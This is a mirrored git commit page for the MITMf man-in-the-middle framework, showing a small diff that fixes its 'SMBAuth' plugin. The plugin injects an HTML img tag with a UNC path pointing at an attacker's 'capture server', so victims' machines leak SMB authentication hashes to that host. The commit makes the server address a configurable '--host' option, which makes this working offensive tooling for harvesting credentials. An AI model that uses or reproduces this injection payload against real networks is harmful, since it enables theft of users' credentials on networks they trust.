mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
fixed smbauth plugin
This commit is contained in:
parent
58b319a931
commit
e26bd0709c
1 changed files with 3 additions and 2 deletions
|
@ -8,11 +8,12 @@ class SMBAuth(Inject,Plugin):
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self,options):
|
||||||
Inject.initialize(self,options)
|
Inject.initialize(self,options)
|
||||||
self.target_ip = options.ip
|
self.target_ip = options.host
|
||||||
self.html_payload = self._get_data()
|
self.html_payload = self._get_data()
|
||||||
|
print "[*] SMBAuth plugin online"
|
||||||
|
|
||||||
def add_options(self,options):
|
def add_options(self,options):
|
||||||
options.add_argument("--host", action="store_true", help="The ip address of your capture server")
|
options.add_argument("--host", type=str, help="The ip address of your capture server")
|
||||||
|
|
||||||
def _get_data(self):
|
def _get_data(self):
|
||||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue